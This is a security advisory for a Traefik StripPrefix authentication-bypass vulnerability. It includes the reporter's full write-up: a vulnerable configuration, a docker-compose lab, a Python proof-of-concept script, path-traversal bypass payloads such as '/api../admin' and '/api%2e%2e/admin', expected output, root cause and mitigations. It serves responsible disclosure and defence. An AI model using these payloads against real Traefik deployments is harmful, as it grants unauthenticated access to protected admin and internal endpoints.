CVE-2026-48020

Description

## Summary There is a high severity vulnerability in Traefik's `StripPrefix` middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a `PathPrefix` rule and applies the `StripPrefix` middleware, a request path containing `..` or its percent-encoded form `%2e%2e` can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.48 - https://github.com/traefik/traefik/releases/tag/v3.6.19 - https://github.com/traefik/traefik/releases/tag/v3.7.3 ## For more information If there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> # Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../) ## Summary A route-level authentication/authorization bypas was found in Traefik when `PathPrefix`-based public routes are combined with `StripPrefix`. A request using `/api../` or `/api%2e%2e/` can avoid protected router rules at the routing stage, but after `StripPrefix`, the path is normalized and forwarded to the backend as a protected path such as `/admin` or `/internal/config`. This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed `StripPrefixRegex` / path-normalization issues. This report specifically affects `StripPrefix`. ## Affected Versions Tested | Image | Observed Version | Result | |---|---|---| | `traefik:v2.11` | `v2.11.46` | Affected | | `traefik:v3.6` | `v3.6.17` | Affected | | `traefik:latest` | `v3.7.1` | Affected | ### Lab Contrast | Image | Result | |---|---| | `traefik:v2.10` | Not reproduced in lab | | `traefik:v3.5` | Not reproduced in lab | ## Vulnerable Configuration Pattern The issue appears when: - a broad public route strips a prefix - while a separate protected route is intended to guard internal/admin paths ```yaml http: routers: public-api: rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)' entryPoints: - web middlewares: - strip-api service: backend protected: rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)' entryPoints: - web middlewares: - auth service: backend middlewares: strip-api: stripPrefix: prefixes: - /api auth: basicAuth: users: - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/' services: backend: loadBalancer: servers: - url: http://backend:9000 ``` ## Observed Behavior ### Direct Protected Paths These are correctly blocked. | Request | Expected | Observed | |---|---|---| | `GET /admin` | Blocked | `401` | | `GET /internal/config` | Blocked | `401` | ### Expected Public Exclusions These do not expose protected backend paths. | Request | Expected | Observed | |---|---|---| | `GET /api/admin` | Not routed to protected backend path | `404` | | `GET /api/internal/config` | Not routed to protected backend path | `404` | ### Bypass Payloads These reach protected backend paths. | Request | Observed Status | Backend Receives | |---|---|---| | `GET /api../admin` | `200` | `/admin` | | `GET /api%2e%2e/admin` | `200` | `/admin` | | `GET /api../internal/config` | `200` | `/internal/config` | | `GET /api%2e%2e/internal/config` | `200` | `/internal/config` | ## Minimal PoC ### docker-compose.yml ```yaml services: traefik: image: traefik:v3.7 command: - --providers.file.filename=/etc/traefik/dynamic.yml - --entrypoints.web.address=:8080 - --accesslog=true ports: - "127.0.0.1:18080:8080" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro depends_on: - backend backend: image: python:3.12-slim working_dir: /app command: python backend.py volumes: - ./backend.py:/app/backend.py:ro expose: - "9000" ``` ### dynamic.yml ```yaml http: routers: public-api: rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)' entryPoints: - web middlewares: - strip-api service: backend protected: rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)' entryPoints: - web middlewares: - auth service: backend middlewares: strip-api: stripPrefix: prefixes: - /api auth: basicAuth: users: - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/' services: backend: loadBalancer: servers: - url: http://backend:9000 ``` ### backend.py ```python from http.server import BaseHTTPRequestHandler, HTTPServer import json class Handler(BaseHTTPRequestHandler): def log_message(self, fmt, *args): return def _json(self, status, obj): body = json.dumps(obj).encode() self.send_response(status) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def do_GET(self): if self.path == "/admin": self._json(200, { "seen_path": self.path, "secret": "ADMIN_SECRET_REACHED" }) elif self.path == "/internal/config": self._json(200, { "seen_path": self.path, "secret": "TRAEFIK_LAB_INTERNAL_CONFIG" }) elif self.path == "/admin/exec": self._json(200, { "seen_path": self.path, "rce_chain_marker": True, "note": "protected execution endpoint reached" }) else: self._json(404, { "seen_path": self.path, "secret": None }) HTTPServer(("0.0.0.0", 9000), Handler).serve_forever() ``` ### poc.py ```python #!/usr/bin/env python3 from urllib.request import Request, urlopen from urllib.error import HTTPError BASE = "http://127.0.0.1:18080" PATHS = [ "/admin", "/internal/config", "/api/admin", "/api/internal/config", "/api../admin", "/api%2e%2e/admin", "/api../internal/config", "/api%2e%2e/internal/config", "/admin/exec", "/api/admin/exec", "/api../admin/exec", "/api%2e%2e/admin/exec", ] for path in PATHS: req = Request(BASE + path) try: with urlopen(req, timeout=5) as r: status = r.status body = r.read().decode(errors="replace") except HTTPError as e: status = e.code body = e.read().decode(errors="replace") print(f"{path:28} {status} {body[:180]}") ``` ### Run ```bash docker compose up -d python3 poc.py ``` ## Expected Vulnerable Output ```text /admin 401 /internal/config 401 /api/admin 404 /api/internal/config 404 /api../admin 200 backend seen_path=/admin /api%2e%2e/admin 200 backend seen_path=/admin /api../internal/config 200 backend seen_path=/internal/config /api%2e%2e/internal/config 200 backend seen_path=/internal/config /api../admin/exec 200 protected execution endpoint reached /api%2e%2e/admin/exec 200 protected execution endpoint reached ``` ## Root Cause Hypothesis The vulnerable behavior appears to be caused by path normalization after prefix stripping. ```text Incoming path: /api../admin After StripPrefix("/api"): /../admin After JoinPath(): /admin ``` The request does not match the protected `/admin` router at the routing stage, but the backend receives `/admin` after normalization. The relevant behavior appears related to `StripPrefix` calling `req.URL.JoinPath()` after removing the prefix in newer versions. ## Security Impact An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router. Potential impact includes: - Access to protected admin paths - Access to internal configuration endpoints - Exposure of secrets returned by internal backends - Access to protected backend management functionality - Conditional RCE if the protected backend exposes an execution primitive In the local lab, a protected `/admin/exec` endpoint was reachable through `/api../admin/exec`, demonstrating a conditional RCE chain when the backend contains an execution primitive. This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality. ## Suggested Severity Suggested CVSS is **10.0 Critical** with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality. ```text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N ``` Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router. If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as **9.1 Critical** with Scope Unchanged: ```text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N ``` The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage. ## Weakness Primary CWE: - `CWE-863: Incorrect Authorization` Related weakness candidates: - `CWE-180: Incorrect Behavior Order: Validate Before Canonicalize` - `CWE-22: Improper Limitation of a Pathname to a Restricted Directory` ## Mitigation Verified in Lab The bypass was blocked when using a stricter prefix boundary: ```text PathRegexp(`^/api(/|$)`) ``` or: ```text PathPrefix(`/api/`) with StripPrefix(`/api/`) ``` ## Relation to Existing Advisories This appears related to the same vulnerability family as prior Traefik path normalization / `StripPrefixRegex` bypass advisories, but it affects `StripPrefix` and remains reproducible on patched/latest versions tested above. This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate. ## Reporter WonYun / kyun0 </details>